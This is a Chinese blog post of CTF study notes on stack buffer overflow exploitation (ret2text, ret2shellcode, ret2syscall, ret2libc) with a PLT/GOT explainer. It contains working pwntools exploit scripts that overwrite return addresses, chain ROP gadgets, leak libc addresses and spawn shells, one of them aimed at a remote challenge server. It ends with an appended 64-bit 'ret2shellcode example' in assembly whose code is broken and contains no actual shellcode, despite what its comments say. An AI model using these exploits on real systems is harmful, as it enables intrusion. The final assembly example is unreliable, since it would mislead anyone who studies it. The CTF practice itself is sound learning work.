栈溢出/ret2shellcode/ret2syscall/ret2libc

(仅作为本人的学习笔记和心得 如有错误请多指教)

概述

核心目的是用攻击指令的地址来覆盖返回地址,但是根据程序的保护权限不同和程序的不同可以分成几种攻击模式

 

ret2text

即控制程序执行程序里已经有的代码,最常见的就是利用溢出覆盖返回地址为后门函数,在这种情况下后面函数都是已经有的代码只需要找一下这个返回地址就好

对于程序保护的限定:不能开启canary 由于程序中已经有的代码无需自己构造shellcode所以可以有NX保护

payload构造思路:缓冲区的大小+ebp/rbp的大小+挟持地址(返回地址)

以攻防世界的level2题为例

先进入gdb checksec检查开启了什么防护

32位程序没有开启金丝雀 那直接利用栈溢出

进入IDA分析 发现read函数中有栈溢出,而函数里有system函数但是参数不是/bin/sh,但是在IDA中按shift+F12分析字符串的时候找到了/bin/sh

所以思路就很清晰了 利用这个栈溢出调用system函数并且把system函数的参数改成/bin/sh的地址,也就是相当于使用了system(‘/bin/sh’)

payload构造根据栈结构= 缓冲区的内存大小+ebp的大小+返回函数的地址(system)+调用system函数后的返回地址+参数地址

这里解释一下我在学习过程中的误解了很久的:

填充返回函数的地址system的地址之后,会调用system函数那么会开启一个新的栈帧,这个栈帧也有返回地址,这个地方我们可以把它填充为0,后续才是参数地址也就是把/bin/sh字符串的地址修改进去

题解的exp:

from pwn import*
io=remote("61.147.171.105",53299)
retaddr=0x08048320
binsh=0x0804A024

payload=(0x88+0x4)*b'a'+p32(retaddr)+p32(0)+p32(binsh)

io.sendline(payload)
io.interactive()

 ret2shellcode

思路也很类似 就是将返回地址覆盖成写好的shellcode 上面的是返回到程序中的一块内容

对于保护的限定:不能开启NX保护,由于NX保护是会将数据所在的内存页表示为不可执行,如果程序产生溢出去执行shellcode则会报错

目前由于 the NX bits 保护措施的开启,栈缓冲区不可执行,故当下的常用手段变为向 bss 缓冲区写入 shellcode 或向堆缓冲区写入 shellcode 并使用 mprotect 赋予其可执行权限

payload : padding1 + address of shellcode + padding2 + shellcode

 

 

以banboomfox的ret2shellcode为例

思路很简单:发现程序里没有自带的后门函数也没有/bin/sh字符串,程序保护没有开启NX,找到溢出函数后,则构造shellcode在这个数组里,然后返回地址去执行这个shellcode

from pwn import *
p=process("./ret2shellcode")

retaddr=0x804A080
shellcode=asm(shellcraft.sh())

payload=shellcode.ljust(112, b'A')+p32(retaddr)

p.sendline(payload)
p.interactive()

 ret2syscall

使用的背景条件:

程序里没有可以利用的后门函数,可以利用系统调用来

利用系统调用的漏洞来获得shell,这个就是很典型的ROP,通过pop|ret语句来实现系统调用 ,在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程

Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数

流程:

1.找到这个函数的调用号将这个函数系统调用的编号放在寄存器eax当中

2.将这个函数的参数存入到别的通用寄存器

3.通过执行int 80来启动执行

所以在第一步:需要去获得这个调用号

cat /usr/include/asm/unistd_32.h | grep execve 

#通过这个命令可以得到execve函数的调用号

所以现在需要做的就是让:

eax=0xb

ebx=/bin/sh 的地址

ecx=0

edx=0

然后就是构造栈帧 通过溢出函数来构造我们要实现的栈帧 利用多个gadgets来完成目标,其中寻找需要的gadgets可以通过指令ROPgadget

ROPgadget --binary [exe] --only ’pop|ret‘ | grep ’eax'

#找到有pop还有ret还有eax相关的命令的地址

ROPgadget --binary [exe] --string '/bin/sh'

#找到字符串的地址

ROPgadget --binary [exe] --only ’int‘

#这是用于寻找int 80命令的地址

ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi

#如果在二进制文件里找不到 可以去库里找

就可以完成系统调用,只不过要记得栈是先进后出的结构

特别有:Pop eax 的含义是 将栈顶的值弹出赋值给eax,而不是直接删除了eax 还有这些eax ebx的存放顺序是连续的 所以构造栈帧的时候也要留意

payload : padding + address of gadget 1 + address of gadget 2 + ......
+ address of gadget n

在这样的构造下,被调用函数返回时会跳转执行 gadget 1,执行完毕时 gadget 1 的 RET 指令会将此时的栈顶数据(也就是 gadget 2 的地址)弹出至 eip,程序继续跳转执行 gadget 2,以此类推。

以bamboofox的ret2syscall为例

找到溢出函数get后分析,进行系统函数调用也就是想要执行execute('/bin/sh')

找到execute函数的系统函数调用号为11也就是0xB,则目的就是将0xb保存在寄存器eax,并且把参数字符串覆盖成/bin/sh 想当把/bin/sh的地址保存在寄存器ebx 最后一个再触发int 80来启动

from pwn import *
p=process('./ret2syscall')

popeax=0x080bb196 
#指令pop eax |ret的地址
popebx=0x0806eb90
#指令pop edx,ecx,ebx|ret的地址
binsh=0x080be408
#字符串/bin/sh的地址
int80=0x08049421

payload=b'a'*112+p32(popeax)+p32(0xb)+p32(popebx)+p32(0)+p32(0)+p32(binsh)+p32(int80)
p.sendline(payload)
p.interactive()

ret2libc

背景:程序里没有system函数

在程序的源码里没有system函数不能返回到这个,而且开启了NX保护,这个时候可以利用c函数库里的system()函数和里面的/bin/sh 

ret2libc的原理便是将 libc.so在内存中我们所需要的函数返回地址获取,进而取得控制权。通常是利用system("/bin/sh")打开shell,简单可以判定为两个步骤:

        1.system地址获取

        2."/bin/sh"字符串地址获取

则这个时候就需要去找libc的基地址从而来根据偏移计算

方法就是:根据已知libc的函数的地址来计算出libc的基地址

攻击步骤:

1、泄露任意一个函数的真实地址:只有被执行过的函数才能获取地址
2、获取libc的版本
3、根据偏移获取shell和sh的位置:a、求libc的基地址(函数动态地址-函数偏移量)b、求其他函数地址(基地址+函数偏移量)
4、执行程序获取shell

payload: padding1 + address of system() + padding2 + address of “/bin/sh”

 

例题:ret2libc_level3

进行IDA静态编译后分析代码,表里没有system函数查找字符串中也没有找到”/bin/sh”,则是很明显的ret2libc问题 只能在libc库里找到这些

思路:1.主函数中有puts函数可以作为泄露libc的中介,得到libc的基址之后计算出system函数的地址和’/bin/sh‘的地址

2.第二次进行覆盖 构造完成后直接运行的是 system("/bin/sh")

构造的栈帧图如:

exp: 

from pwn import *
from LibcSearcher import *
p=process("./ret2libc3")
elf=ELF('ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
#其实可以理解成一个间接寻址的过程,通过plt地址找到真正的地址就在got里
start_addr=elf.symbols['_start']

payload1=b'a'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
p.sendlineafter("!?",payload1)

puts_addr=u32(p.recv(4))
#计算libc的基址从而得到system和'/bin/sh'的地址

libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump("puts")
system_addr=libcbase+libc.dump("system")
binsh_addr=libcbase+libc.dump("str_bin_sh")

payload2=b'a'*112+p32(system_addr)+p32(0)+p32(binsh_addr)
p.sendlineafter("!?",payload2)
p.interactive()

对于这个exp的编写因为是我初次编写ret2libc常出现几个问题我做总结:

1.对于ret2libc的栈帧要现在草稿纸上写好构造的栈帧再去写payload,而再栈帧的结构中一定要注意,别遗漏了返回函数的地址,还有参数的个数

2.在利用payload的时候经常会忘记我使用的是python3 所以要在’a‘面前加一个b表示字节

3.recv函数 这个函数我使用的不好,经常会忘记这是一个调用

补充知识:PLT&GOT

操作系统通常使用动态链接的方法来提高程序运行的效率。在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,如果有函数并没有被调用,那么它就不会在程序生命中被加载进来

PLT属于代码段,在进程加载和运行过程都不会发生改变,PLT指向GOT表的关系在编译时已完全确定,代码段是无法修改的唯一能发生变化的是GOT表

以printf()函数为例子:

对于动态函数库里的函数,只有在运行起来的时候才有确定的地址,没有运行的时候就是以符号数给代替一下

运行后重定位是无法修改代码段的,只能将 printf 重定位到数据段,链接器会额外生成一小段代码,通过这段代码来获取 printf() 的地址。

简单的说就是:有一段代码运行之后找到printf()的真正地址

总体来说,动态链接每个函数需要两个东西:

1、用来存放外部函数地址的数据段

2、用来获取数据段记录的外部函数地址的代码

对应有两个表,一个用来存放外部的函数地址的数据表称为全局偏移表GOT, Global Offset Table),包含函数的真实地址,包含libc函数的基址,用于泄露地址

那个存放额外代码的表称为程序链接表PLT,Procedure Link Table

20160611124517413.jpg

 调用动态链接函数时,如printf函数时,先去plt表和got表寻找printf函数的真实地址。plt表指向got表中的地址,got表指向glibc中的地址

在64位的ret2shellcode攻击中,需要使用RIP来控制程序的执行流程,而不是使用EIP。因此,需要在shellcode中构造64位的地址来覆盖RIP寄存器。 一般来说,ret2shellcode需要满足以下条件: 1. 执行栈溢出,覆盖返回地址的同时,还要在溢出数据中注入shellcode。 2. 执行栈溢出时需要找到距离返回地址的偏移量。 3. shellcode需要在堆栈中执行。 下面是一份64位ret2shellcode的示例代码: ```assembly section .text global _start _start: ; 执行栈溢出,将shellcode注入到栈中。 ; 使用msfvenom生成一段简单的execve("/bin/sh")代码 ; msfvenom -a x64 --platform linux -p linux/x64/exec CMD=/bin/sh -f c ; 将生成的shellcode粘贴到这里。 xor esi, esi mov eax, esi ; 将堆栈指针rsp保存到rbx中 mov rbx, rsp next: ; 在栈中查找返回地址的偏移量 ; 这里的偏移量为40,实际上需要根据目标二进制文件的不同而调整 cmp byte [rsp], 0 jne next add rsp, 40 ; 用shellcode的地址覆盖返回地址 ; 这里的地址也需要根据目标二进制文件的不同而调整 mov QWORD [rsp], 0x7fffffffde10 ; 跳转到shellcode的地址,开始执行 jmp rbx ``` 在这个示例中,我们将用msfvenom生成一个简单的execve("/bin/sh")的shellcode,该shellcode将在栈上执行。然后,我们将查询堆栈来计算返回地址距离堆栈指针的偏移量,并手动向该返回地址写入shell代码的地址。最后,我们将跳转回堆栈指针的位置,开始执行我们的shellcode。 需要注意的是,在实际攻击中,偏移量和地址值可能因目标程序的不同而有所变化。因此,需要针对目标程序进行适当的调整。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值